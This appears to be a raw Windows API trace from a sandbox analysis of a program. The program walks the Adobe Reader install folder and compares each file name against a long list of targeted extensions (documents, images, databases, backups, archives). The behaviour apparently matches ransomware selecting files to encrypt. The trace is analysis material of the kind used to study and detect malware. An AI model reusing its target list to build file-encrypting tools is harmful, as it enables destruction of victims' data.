	[0162.894] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a672c00, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xded23451, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3a672c00, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x989f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AXSLE.dll", cAlternateFileName="")) returned 1
	[0162.894] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdf89c98d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x1d1f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIB.dll", cAlternateFileName="")) returned 1
	[0162.894] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdf89c98d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x269f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIBUtils.dll", cAlternateFileName="")) returned 1
	[0162.894] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x352a2928, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xde9b5e59, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xde9b5e59, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Browser", cAlternateFileName="")) returned 1
	[0162.894] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4520058
	[0162.894] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Browser\\*", lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x352a2928, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xde9b5e59, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xde9b5e59, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dd480
	[0162.913] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x352a2928, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xde9b5e59, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xde9b5e59, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0162.913] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xde9b5e59, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x3adf0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nppdf32.dll", cAlternateFileName="")) returned 1
	[0162.913] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18d7a4f3, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xdaa61867, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdaa61867, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WCChromeExtn", cAlternateFileName="WCCHRO~1")) returned 1
	[0162.913] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4530060
	[0162.913] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Browser\\WCChromeExtn\\*", lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18d7a4f3, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xdaa61867, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdaa61867, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd4c0
	[0162.921] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18d7a4f3, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xdaa61867, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdaa61867, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0162.921] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x718de000, ftCreationTime.dwHighDateTime=0x1d28909, ftLastAccessTime.dwLowDateTime=0x1923f03a, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x718de000, ftLastWriteTime.dwHighDateTime=0x1d28909, nFileSizeHigh=0x0, nFileSizeLow=0x10b, dwReserved0=0x0, dwReserved1=0x0, cFileName="manifest.json", cAlternateFileName="MANIFE~1.JSO")) returned 1
	[0162.921] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbb0b100, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdaa879d8, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcbb0b100, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x235f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WCChromeNativeMessagingHost.exe", cAlternateFileName="WCCHRO~1.EXE")) returned 1
	[0162.921] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbb0b100, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdaa879d8, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcbb0b100, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x235f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WCChromeNativeMessagingHost.exe", cAlternateFileName="WCCHRO~1.EXE")) returned 0
	[0162.921] FindClose (in: hFindFile=0x5dd4c0 | out: hFindFile=0x5dd4c0) returned 1
	[0162.921] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4530060 | out: hHeap=0x4f0000) returned 1
	[0162.921] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18d7a4f3, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xdaa61867, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdaa61867, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WCChromeExtn", cAlternateFileName="WCCHRO~1")) returned 0
	[0162.921] FindClose (in: hFindFile=0x5dd480 | out: hFindFile=0x5dd480) returned 1
	[0162.921] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0162.921] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdec3e62f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x35200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ccme_asym.dll", cAlternateFileName="CCME_A~1.DLL")) returned 1
	[0162.929] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe2a3b8a6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x62c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ccme_base.dll", cAlternateFileName="CCME_B~1.DLL")) returned 1
	[0162.929] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdb1160cd, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x5cc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ccme_base_non_fips.dll", cAlternateFileName="CCME_B~2.DLL")) returned 1
	[0162.930] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdecb0d47, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x7b200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ccme_ecc.dll", cAlternateFileName="")) returned 1
	[0162.931] lstrlenW (lpString="ccme_ecc.dll") returned 12
	[0162.931] lstrlenW (lpString=".1cd") returned 4
	[0162.931] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0162.931] lstrlenW (lpString=".3ds") returned 4
	[0162.931] lstrcmpiW (lpString1=".3ds", lpString2=".dll") returned -1
	[0162.931] lstrlenW (lpString=".3fr") returned 4
	[0162.931] lstrcmpiW (lpString1=".3fr", lpString2=".dll") returned -1
	[0162.931] lstrlenW (lpString=".3g2") returned 4
	[0162.931] lstrcmpiW (lpString1=".3g2", lpString2=".dll") returned -1
	[0162.931] lstrlenW (lpString=".3gp") returned 4
	[0162.931] lstrcmpiW (lpString1=".3gp", lpString2=".dll") returned -1
	[0162.931] lstrlenW (lpString=".7z") returned 3
	[0162.931] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0162.931] lstrlenW (lpString=".accda") returned 6
	[0162.931] lstrcmpiW (lpString1=".accda", lpString2="cc.dll") returned -1
	[0162.931] lstrlenW (lpString=".accdb") returned 6
	[0162.931] lstrcmpiW (lpString1=".accdb", lpString2="cc.dll") returned -1
	[0162.931] lstrlenW (lpString=".accdc") returned 6
	[0163.185] lstrcmpiW (lpString1=".accdc", lpString2="cc.dll") returned -1
	[0163.186] lstrlenW (lpString=".accde") returned 6
	[0163.186] lstrcmpiW (lpString1=".accde", lpString2="cc.dll") returned -1
	[0163.186] lstrlenW (lpString=".accdt") returned 6
	[0163.186] lstrcmpiW (lpString1=".accdt", lpString2="cc.dll") returned -1
	[0163.186] lstrlenW (lpString=".accdw") returned 6
	[0163.186] lstrcmpiW (lpString1=".accdw", lpString2="cc.dll") returned -1
	[0163.186] lstrlenW (lpString=".adb") returned 4
	[0163.186] lstrcmpiW (lpString1=".adb", lpString2=".dll") returned -1
	[0163.186] lstrlenW (lpString=".adp") returned 4
	[0163.186] lstrcmpiW (lpString1=".adp", lpString2=".dll") returned -1
	[0163.186] lstrlenW (lpString=".ai") returned 3
	[0163.186] lstrcmpiW (lpString1=".ai", lpString2="dll") returned -1
	[0163.186] lstrlenW (lpString=".ai3") returned 4
	[0163.186] lstrcmpiW (lpString1=".ai3", lpString2=".dll") returned -1
	[0163.186] lstrlenW (lpString=".ai4") returned 4
	[0163.186] lstrcmpiW (lpString1=".ai4", lpString2=".dll") returned -1
	[0163.186] lstrlenW (lpString=".ai5") returned 4
	[0163.186] lstrcmpiW (lpString1=".ai5", lpString2=".dll") returned -1
	[0163.186] lstrlenW (lpString=".ai6") returned 4
	[0163.186] lstrcmpiW (lpString1=".ai6", lpString2=".dll") returned -1
	[0163.186] lstrlenW (lpString=".ai7") returned 4
	[0163.186] lstrcmpiW (lpString1=".ai7", lpString2=".dll") returned -1
	[0163.186] lstrlenW (lpString=".ai8") returned 4
	[0163.187] lstrcmpiW (lpString1=".ai8", lpString2=".dll") returned -1
	[0163.187] lstrlenW (lpString=".anim") returned 5
	[0163.187] lstrcmpiW (lpString1=".anim", lpString2="c.dll") returned -1
	[0163.187] lstrlenW (lpString=".arw") returned 4
	[0163.187] lstrcmpiW (lpString1=".arw", lpString2=".dll") returned -1
	[0163.187] lstrlenW (lpString=".as") returned 3
	[0163.187] lstrcmpiW (lpString1=".as", lpString2="dll") returned -1
	[0163.187] lstrlenW (lpString=".asa") returned 4
	[0163.187] lstrcmpiW (lpString1=".asa", lpString2=".dll") returned -1
	[0163.187] lstrlenW (lpString=".asc") returned 4
	[0163.187] lstrcmpiW (lpString1=".asc", lpString2=".dll") returned -1
	[0163.187] lstrlenW (lpString=".ascx") returned 5
	[0163.187] lstrcmpiW (lpString1=".ascx", lpString2="c.dll") returned -1
	[0163.187] lstrlenW (lpString=".asm") returned 4
	[0163.187] lstrcmpiW (lpString1=".asm", lpString2=".dll") returned -1
	[0163.187] lstrlenW (lpString=".asmx") returned 5
	[0163.187] lstrcmpiW (lpString1=".asmx", lpString2="c.dll") returned -1
	[0163.187] lstrlenW (lpString=".asp") returned 4
	[0163.187] lstrcmpiW (lpString1=".asp", lpString2=".dll") returned -1
	[0163.187] lstrlenW (lpString=".aspx") returned 5
	[0163.187] lstrcmpiW (lpString1=".aspx", lpString2="c.dll") returned -1
	[0163.187] lstrlenW (lpString=".asr") returned 4
	[0163.187] lstrcmpiW (lpString1=".asr", lpString2=".dll") returned -1
	[0163.188] lstrlenW (lpString=".asx") returned 4
	[0163.188] lstrcmpiW (lpString1=".asx", lpString2=".dll") returned -1
	[0163.188] lstrlenW (lpString=".avi") returned 4
	[0163.188] lstrcmpiW (lpString1=".avi", lpString2=".dll") returned -1
	[0163.188] lstrlenW (lpString=".avs") returned 4
	[0163.188] lstrcmpiW (lpString1=".avs", lpString2=".dll") returned -1
	[0163.188] lstrlenW (lpString=".backup") returned 7
	[0163.188] lstrcmpiW (lpString1=".backup", lpString2="ecc.dll") returned -1
	[0163.188] lstrlenW (lpString=".bak") returned 4
	[0163.188] lstrcmpiW (lpString1=".bak", lpString2=".dll") returned -1
	[0163.188] lstrlenW (lpString=".bay") returned 4
	[0163.188] lstrcmpiW (lpString1=".bay", lpString2=".dll") returned -1
	[0163.188] lstrlenW (lpString=".bd") returned 3
	[0163.188] lstrcmpiW (lpString1=".bd", lpString2="dll") returned -1
	[0163.188] lstrlenW (lpString=".bin") returned 4
	[0163.188] lstrcmpiW (lpString1=".bin", lpString2=".dll") returned -1
	[0163.188] lstrlenW (lpString=".bmp") returned 4
	[0163.188] lstrcmpiW (lpString1=".bmp", lpString2=".dll") returned -1
	[0163.188] lstrlenW (lpString=".bz2") returned 4
	[0163.188] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0163.188] lstrlenW (lpString=".c") returned 2
	[0163.188] lstrcmpiW (lpString1=".c", lpString2="ll") returned -1
	[0163.188] lstrlenW (lpString=".cdr") returned 4
	[0163.188] lstrcmpiW (lpString1=".cdr", lpString2=".dll") returned -1
	[0163.189] lstrlenW (lpString=".cer") returned 4
	[0163.189] lstrcmpiW (lpString1=".cer", lpString2=".dll") returned -1
	[0163.189] lstrlenW (lpString=".cf") returned 3
	[0163.189] lstrcmpiW (lpString1=".cf", lpString2="dll") returned -1
	[0163.189] lstrlenW (lpString=".cfc") returned 4
	[0163.189] lstrcmpiW (lpString1=".cfc", lpString2=".dll") returned -1
	[0163.189] lstrlenW (lpString=".cfm") returned 4
	[0163.189] lstrcmpiW (lpString1=".cfm", lpString2=".dll") returned -1
	[0163.189] lstrlenW (lpString=".cfml") returned 5
	[0163.189] lstrcmpiW (lpString1=".cfml", lpString2="c.dll") returned -1
	[0163.193] lstrlenW (lpString=".cfu") returned 4
	[0163.193] lstrcmpiW (lpString1=".cfu", lpString2=".dll") returned -1
	[0163.193] lstrlenW (lpString=".chm") returned 4
	[0163.193] lstrcmpiW (lpString1=".chm", lpString2=".dll") returned -1
	[0163.193] lstrlenW (lpString=".cin") returned 4
	[0163.193] lstrcmpiW (lpString1=".cin", lpString2=".dll") returned -1
	[0163.193] lstrlenW (lpString=".class") returned 6
	[0163.193] lstrcmpiW (lpString1=".class", lpString2="cc.dll") returned -1
	[0163.193] lstrlenW (lpString=".clx") returned 4
	[0163.193] lstrcmpiW (lpString1=".clx", lpString2=".dll") returned -1
	[0163.193] lstrlenW (lpString=".config") returned 7
	[0163.193] lstrcmpiW (lpString1=".config", lpString2="ecc.dll") returned -1
	[0163.193] lstrlenW (lpString=".cpp") returned 4
	[0163.193] lstrcmpiW (lpString1=".cpp", lpString2=".dll") returned -1
	[0163.193] lstrlenW (lpString=".cr2") returned 4
	[0163.193] lstrcmpiW (lpString1=".cr2", lpString2=".dll") returned -1
	[0163.193] lstrlenW (lpString=".crt") returned 4
	[0163.193] lstrcmpiW (lpString1=".crt", lpString2=".dll") returned -1
	[0163.193] lstrlenW (lpString=".crw") returned 4
	[0163.193] lstrcmpiW (lpString1=".crw", lpString2=".dll") returned -1
	[0163.193] lstrlenW (lpString=".cs") returned 3
	[0163.194] lstrcmpiW (lpString1=".cs", lpString2="dll") returned -1
	[0163.194] lstrlenW (lpString=".css") returned 4
	[0163.194] lstrcmpiW (lpString1=".css", lpString2=".dll") returned -1
	[0163.194] lstrlenW (lpString=".csv") returned 4
	[0163.194] lstrcmpiW (lpString1=".csv", lpString2=".dll") returned -1
	[0163.194] lstrlenW (lpString=".cub") returned 4
	[0163.194] lstrcmpiW (lpString1=".cub", lpString2=".dll") returned -1
	[0163.194] lstrlenW (lpString=".dae") returned 4
	[0163.194] lstrcmpiW (lpString1=".dae", lpString2=".dll") returned -1
	[0163.194] lstrlenW (lpString=".dat") returned 4
	[0163.194] lstrcmpiW (lpString1=".dat", lpString2=".dll") returned -1
	[0163.194] lstrlenW (lpString=".db") returned 3
	[0163.194] lstrcmpiW (lpString1=".db", lpString2="dll") returned -1
	[0163.194] lstrlenW (lpString=".dbf") returned 4
	[0163.194] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0163.194] lstrlenW (lpString=".dbx") returned 4
	[0163.194] lstrcmpiW (lpString1=".dbx", lpString2=".dll") returned -1
	[0163.194] lstrlenW (lpString=".dc3") returned 4
	[0163.195] lstrcmpiW (lpString1=".dc3", lpString2=".dll") returned -1
	[0163.195] lstrlenW (lpString=".dcm") returned 4
	[0163.195] lstrcmpiW (lpString1=".dcm", lpString2=".dll") returned -1
	[0163.195] lstrlenW (lpString=".dcr") returned 4
	[0163.195] lstrcmpiW (lpString1=".dcr", lpString2=".dll") returned -1
	[0163.195] lstrlenW (lpString=".der") returned 4
	[0163.195] lstrcmpiW (lpString1=".der", lpString2=".dll") returned -1
	[0163.195] lstrlenW (lpString=".dib") returned 4
	[0163.195] lstrcmpiW (lpString1=".dib", lpString2=".dll") returned -1
	[0163.195] lstrlenW (lpString=".dic") returned 4
	[0163.195] lstrcmpiW (lpString1=".dic", lpString2=".dll") returned -1
	[0163.195] lstrlenW (lpString=".dif") returned 4
	[0163.195] lstrcmpiW (lpString1=".dif", lpString2=".dll") returned -1
	[0163.195] lstrlenW (lpString=".divx") returned 5
	[0163.195] lstrcmpiW (lpString1=".divx", lpString2="c.dll") returned -1
	[0163.195] lstrlenW (lpString=".djvu") returned 5
	[0163.195] lstrcmpiW (lpString1=".djvu", lpString2="c.dll") returned -1
	[0163.195] lstrlenW (lpString=".dng") returned 4
	[0163.195] lstrcmpiW (lpString1=".dng", lpString2=".dll") returned 1
	[0163.195] lstrlenW (lpString=".doc") returned 4
	[0163.195] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0163.195] lstrlenW (lpString=".docm") returned 5
	[0163.195] lstrcmpiW (lpString1=".docm", lpString2="c.dll") returned -1
	[0163.196] lstrlenW (lpString=".docx") returned 5
	[0163.196] lstrcmpiW (lpString1=".docx", lpString2="c.dll") returned -1
	[0163.196] lstrlenW (lpString=".dot") returned 4
	[0163.196] lstrcmpiW (lpString1=".dot", lpString2=".dll") returned 1
	[0163.196] lstrlenW (lpString=".dotm") returned 5
	[0163.196] lstrcmpiW (lpString1=".dotm", lpString2="c.dll") returned -1
	[0163.196] lstrlenW (lpString=".dotx") returned 5
	[0163.196] lstrcmpiW (lpString1=".dotx", lpString2="c.dll") returned -1
	[0163.196] lstrlenW (lpString=".dpx") returned 4
	[0163.196] lstrcmpiW (lpString1=".dpx", lpString2=".dll") returned 1
	[0163.196] lstrlenW (lpString=".dqy") returned 4
	[0163.196] lstrcmpiW (lpString1=".dqy", lpString2=".dll") returned 1
	[0163.196] lstrlenW (lpString=".dsn") returned 4
	[0163.196] lstrcmpiW (lpString1=".dsn", lpString2=".dll") returned 1
	[0163.196] lstrlenW (lpString=".dt") returned 3
	[0163.196] lstrcmpiW (lpString1=".dt", lpString2="dll") returned -1
	[0163.196] lstrlenW (lpString=".dtd") returned 4
	[0163.196] lstrcmpiW (lpString1=".dtd", lpString2=".dll") returned 1
	[0163.196] lstrlenW (lpString=".dwg") returned 4
	[0163.196] lstrcmpiW (lpString1=".dwg", lpString2=".dll") returned 1
	[0163.196] lstrlenW (lpString=".dwt") returned 4
	[0163.196] lstrcmpiW (lpString1=".dwt", lpString2=".dll") returned 1
	[0163.196] lstrlenW (lpString=".dx") returned 3
	[0163.196] lstrcmpiW (lpString1=".dx", lpString2="dll") returned -1
	[0163.196] lstrlenW (lpString=".dxf") returned 4
	[0163.197] lstrcmpiW (lpString1=".dxf", lpString2=".dll") returned 1
	[0163.197] lstrlenW (lpString=".edml") returned 5
	[0163.197] lstrcmpiW (lpString1=".edml", lpString2="c.dll") returned -1
	[0163.197] lstrlenW (lpString=".efd") returned 4
	[0163.197] lstrcmpiW (lpString1=".efd", lpString2=".dll") returned 1
	[0163.197] lstrlenW (lpString=".elf") returned 4
	[0163.197] lstrcmpiW (lpString1=".elf", lpString2=".dll") returned 1
	[0163.197] lstrlenW (lpString=".emf") returned 4
	[0163.197] lstrcmpiW (lpString1=".emf", lpString2=".dll") returned 1
	[0163.197] lstrlenW (lpString=".emz") returned 4
	[0163.197] lstrcmpiW (lpString1=".emz", lpString2=".dll") returned 1
	[0163.197] lstrlenW (lpString=".epf") returned 4
	[0163.197] lstrcmpiW (lpString1=".epf", lpString2=".dll") returned 1
	[0163.197] lstrlenW (lpString=".eps") returned 4
	[0163.197] lstrcmpiW (lpString1=".eps", lpString2=".dll") returned 1
	[0163.197] lstrlenW (lpString=".epsf") returned 5
	[0163.197] lstrcmpiW (lpString1=".epsf", lpString2="c.dll") returned -1
	[0163.197] lstrlenW (lpString=".epsp") returned 5
	[0163.197] lstrcmpiW (lpString1=".epsp", lpString2="c.dll") returned -1
	[0163.197] lstrlenW (lpString=".erf") returned 4
	[0163.197] lstrcmpiW (lpString1=".erf", lpString2=".dll") returned 1
	[0163.197] lstrlenW (lpString=".exr") returned 4
	[0163.197] lstrcmpiW (lpString1=".exr", lpString2=".dll") returned 1
	[0163.197] lstrlenW (lpString=".f4v") returned 4
	[0163.197] lstrcmpiW (lpString1=".f4v", lpString2=".dll") returned 1
	[0163.197] lstrlenW (lpString=".fido") returned 5
	[0163.197] lstrcmpiW (lpString1=".fido", lpString2="c.dll") returned -1
	[0163.197] lstrlenW (lpString=".flm") returned 4
	[0163.197] lstrcmpiW (lpString1=".flm", lpString2=".dll") returned 1
	[0163.198] lstrlenW (lpString=".flv") returned 4
	[0163.198] lstrcmpiW (lpString1=".flv", lpString2=".dll") returned 1
	[0163.198] lstrlenW (lpString=".frm") returned 4
	[0163.198] lstrcmpiW (lpString1=".frm", lpString2=".dll") returned 1
	[0163.198] lstrlenW (lpString=".fxg") returned 4
	[0163.198] lstrcmpiW (lpString1=".fxg", lpString2=".dll") returned 1
	[0163.198] lstrlenW (lpString=".geo") returned 4
	[0163.198] lstrcmpiW (lpString1=".geo", lpString2=".dll") returned 1
	[0163.198] lstrlenW (lpString=".gif") returned 4
	[0163.198] lstrcmpiW (lpString1=".gif", lpString2=".dll") returned 1
	[0163.198] lstrlenW (lpString=".grs") returned 4
	[0163.198] lstrcmpiW (lpString1=".grs", lpString2=".dll") returned 1
	[0163.198] lstrlenW (lpString=".gz") returned 3
	[0163.198] lstrcmpiW (lpString1=".gz", lpString2="dll") returned -1
	[0163.198] lstrlenW (lpString=".h") returned 2
	[0163.198] lstrcmpiW (lpString1=".h", lpString2="ll") returned -1
	[0163.198] lstrlenW (lpString=".hdr") returned 4
	[0163.198] lstrcmpiW (lpString1=".hdr", lpString2=".dll") returned 1
	[0163.198] lstrlenW (lpString=".hpp") returned 4
	[0163.198] lstrcmpiW (lpString1=".hpp", lpString2=".dll") returned 1
	[0163.198] lstrlenW (lpString=".hta") returned 4
	[0163.198] lstrcmpiW (lpString1=".hta", lpString2=".dll") returned 1
	[0163.198] lstrlenW (lpString=".htc") returned 4
	[0163.199] lstrcmpiW (lpString1=".htc", lpString2=".dll") returned 1
	[0163.199] lstrlenW (lpString=".htm") returned 4
	[0163.199] lstrcmpiW (lpString1=".htm", lpString2=".dll") returned 1
	[0163.199] lstrlenW (lpString=".html") returned 5
	[0163.199] lstrcmpiW (lpString1=".html", lpString2="c.dll") returned -1
	[0163.199] lstrlenW (lpString=".icb") returned 4
	[0163.199] lstrcmpiW (lpString1=".icb", lpString2=".dll") returned 1
	[0163.199] lstrlenW (lpString=".ics") returned 4
	[0163.199] lstrcmpiW (lpString1=".ics", lpString2=".dll") returned 1
	[0163.199] lstrlenW (lpString=".iff") returned 4
	[0163.199] lstrcmpiW (lpString1=".iff", lpString2=".dll") returned 1
	[0163.199] lstrlenW (lpString=".inc") returned 4
	[0163.199] lstrcmpiW (lpString1=".inc", lpString2=".dll") returned 1
	[0163.199] lstrlenW (lpString=".indd") returned 5
	[0163.199] lstrcmpiW (lpString1=".indd", lpString2="c.dll") returned -1
	[0163.199] lstrlenW (lpString=".ini") returned 4
	[0163.199] lstrcmpiW (lpString1=".ini", lpString2=".dll") returned 1
	[0163.199] lstrlenW (lpString=".iqy") returned 4
	[0163.199] lstrcmpiW (lpString1=".iqy", lpString2=".dll") returned 1
	[0163.199] lstrlenW (lpString=".j2c") returned 4
	[0163.200] lstrcmpiW (lpString1=".j2c", lpString2=".dll") returned 1
	[0163.200] lstrlenW (lpString=".j2k") returned 4
